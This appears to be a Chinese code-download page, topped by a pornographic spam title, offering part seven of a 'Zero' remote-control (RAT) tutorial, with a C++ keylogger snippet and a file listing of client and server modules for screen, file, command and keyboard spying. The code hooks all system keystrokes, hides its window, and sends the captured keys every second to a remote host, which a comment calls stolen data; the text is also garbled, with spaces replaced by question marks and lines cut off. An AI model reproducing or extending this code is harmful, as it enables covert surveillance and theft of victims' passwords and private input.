91av视频/亚洲h视频/操亚洲美女/外国一级黄色毛片 - 国产三级三级三级三级

  • 大小: 160KB
    文件類型: .rar
    金幣: 2
    下載: 0 次
    發布日期: 2021-06-05
  • 語言: 其他
  • 標簽: Zero遠控??

資源簡介

從零開始做遠控教程(遠程控制) 第七篇 鍵盤監控

資源截圖

代碼片段和文件信息

#include?“keyboardspy.h“

//?互擠體,用來確保線程安全
static?CRITICAL_SECTION?gCs;
//?初始化類
static?KeyboardSpy?spy;
//?窗口句柄
static?HWND?hWnd?=?NULL;
//?鍵盤鉤子句柄
static?HHOOK?gHHook?=?NULL;
//?socket列表
static?std::vector?gSockets;
//?鍵盤數據緩存區
static?std::vector?gBuffer;

KeyboardSpy::KeyboardSpy()
{
????//?初始化互擠體
????InitializeCriticalSection(&gCs);

????//?創建一個對話框來處理win32事件
????createDialogByNewThread();
}

KeyboardSpy::~KeyboardSpy()
{
????if(hWnd)?{
????????//?關閉計時器
????????KillTimer(hWnd?0);

????????//?刪除socket
????????const?int?max?=?gSockets.size();
????????for?(int?i=0;?i????????????gSockets.at(i)->dissconnect();
????????????delete?gSockets.at(i);
????????}

????????//?關閉窗口
????????DestroyWindow(hWnd);

????????//?移除鍵盤監控
????????if?(gHHook)?{
????????????uninstallKeyboardHook(gHHook);
????????}
????}

????//?刪除互擠體
????DeleteCriticalSection(&gCs);
}

void?KeyboardSpy::startKeyboardSpy(std::string?domain?int?port)
{
????TcpSocket?*sock?=?new?TcpSocket();
????if?(!sock->connectTo(domain?port))?{
????????//?釋放socket
????????delete?sock;

????????std::cout?<????????std::fflush(stdout);
????????return;
????}

????//?把socket加到列表,當有鍵盤數據就會調用socket
????addSocket(sock);

????//?輸出信息
????std::cout?<????std::fflush(stdout);
}

void?KeyboardSpy::createDialogByNewThread()
{
?????//?啟動一個新線程來做監控
?????HANDLE?h?=?CreateThread(NULL0KeyboardSpy::threadProc(LPVOID)NULL0NULL);
?????if?(!h)?{
?????????std::cout?<?????????std::fflush(stdout);
?????}
}

DWORD?KeyboardSpy::threadProc(LPVOID)
{
????//?創建一個不可見的窗口來處理win32事件
????WORD?tempMem[1024];
????LPDLGTEMPLATEA?temp?=?(LPDLGTEMPLATEA)tempMem;
????temp->style=WS_CAPTION;??temp->dwExtendedstyle=0;
????temp->x=0;?temp->y=0;
????temp->cx=0;?temp->cy=0;

????int?ret?=?DialogBoxIndirectParamA(NULLtemp?NULL?keyboardSpyWndProc(LPARAM)NULL);
????if?(ret?==?-1)?{
????????std::cout?<????????std::fflush(stdout);
????}

????return?true;
}

WINBOOL?KeyboardSpy::keyboardSpyWndProc(HWND?hWnd?UINT?uiMsg?WPARAM??LPARAM?)
{
????switch(uiMsg)?{
????//?初始化監控
????case?WM_INITDIALOG:?{
????????std::cout?<????????std::fflush(stdout);

????????//?定時發送竊取的數據
????????const?int?time?=?1000;??//?我這里設置1秒發送一次,你可以設置你自己想要的
????????SetTimer(hWnd0?time?sendKeyboardData);

????????//?安裝鍵盤鉤子來截取系統的所有鍵盤輸入
????????gHHook?=?installKeyboardHook();
????????if?(!gHHook)?{
????????????std::cout?<????????????std::fflush(stdout);
????????}

????????break;
????}
????case?WM_PAINT:
????????//?隱藏窗口
????????ShowWindow(hWndSW_HIDE);
????????break;
????default:
????????break;
????}

????return?false;
}

HHOOK?Keyb

?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----

?????文件???????1378??1997-10-18?15:41??Zero遠控-07\ZeroClient\jpeg\jconfig.h

?????文件??????12717??2014-09-03?11:55??Zero遠控-07\ZeroClient\jpeg\jmorecfg.h

?????文件??????47339??2016-12-21?08:02??Zero遠控-07\ZeroClient\jpeg\jpeglib.h

?????文件?????235030??2014-04-05?15:23??Zero遠控-07\ZeroClient\jpeg\libjpeg.lib

?????文件???????7089??2016-12-22?17:41??Zero遠控-07\ZeroClient\keyboardspy.cpp

?????文件???????1512??2016-12-22?15:24??Zero遠控-07\ZeroClient\keyboardspy.h

?????文件???????1182??2016-12-22?16:11??Zero遠控-07\ZeroClient\main.cpp

?????文件???????9187??2016-12-22?11:23??Zero遠控-07\ZeroClient\screenspy.cpp

?????文件???????1378??2016-12-21?14:42??Zero遠控-07\ZeroClient\screenspy.h

?????文件???????2979??2016-12-20?16:30??Zero遠控-07\ZeroClient\tcpsocket.cpp

?????文件????????901??2016-12-21?12:27??Zero遠控-07\ZeroClient\tcpsocket.h

?????文件???????7959??2016-12-22?16:15??Zero遠控-07\ZeroClient\zeroclient.cpp

?????文件???????2357??2016-12-22?16:13??Zero遠控-07\ZeroClient\zeroclient.h

?????文件????????261??2016-12-22?10:29??Zero遠控-07\ZeroClient\ZeroClient.pro

?????文件??????23635??2016-12-22?17:42??Zero遠控-07\ZeroClient\ZeroClient.pro.user

?????文件????????199??2016-12-19?12:00??Zero遠控-07\ZeroServer\main.cpp

?????文件???????5064??2016-04-24?09:10??Zero遠控-07\ZeroServer\resources\cmdspy.png

?????文件???????8132??2016-04-24?09:13??Zero遠控-07\ZeroServer\resources\filespy.png

?????文件???????4560??2016-04-24?09:23??Zero遠控-07\ZeroServer\resources\keyboardspy.png

?????文件???????7688??2016-04-24?09:14??Zero遠控-07\ZeroServer\resources\screenspy.png

?????文件??????21662??2016-04-24?10:49??Zero遠控-07\ZeroServer\resources\zero.ico

?????文件???????3644??2016-04-24?10:44??Zero遠控-07\ZeroServer\resources\zero.png

?????文件????????324??2016-12-18?16:40??Zero遠控-07\ZeroServer\resources.qrc

?????文件???????2750??2016-12-21?15:59??Zero遠控-07\ZeroServer\screenspy.cpp

?????文件???????1264??2016-12-21?15:47??Zero遠控-07\ZeroServer\screenspy.h

?????文件????????892??2016-12-21?12:56??Zero遠控-07\ZeroServer\tcpserver.cpp

?????文件????????892??2016-12-20?11:15??Zero遠控-07\ZeroServer\tcpserver.h

?????文件???????1060??2016-12-21?15:13??Zero遠控-07\ZeroServer\tcpsocket.cpp

?????文件???????1182??2016-12-21?15:28??Zero遠控-07\ZeroServer\tcpsocket.h

?????文件???????9225??2016-12-22?08:02??Zero遠控-07\ZeroServer\widget.cpp

............此處省略19個文件信息

評論

共有 條評論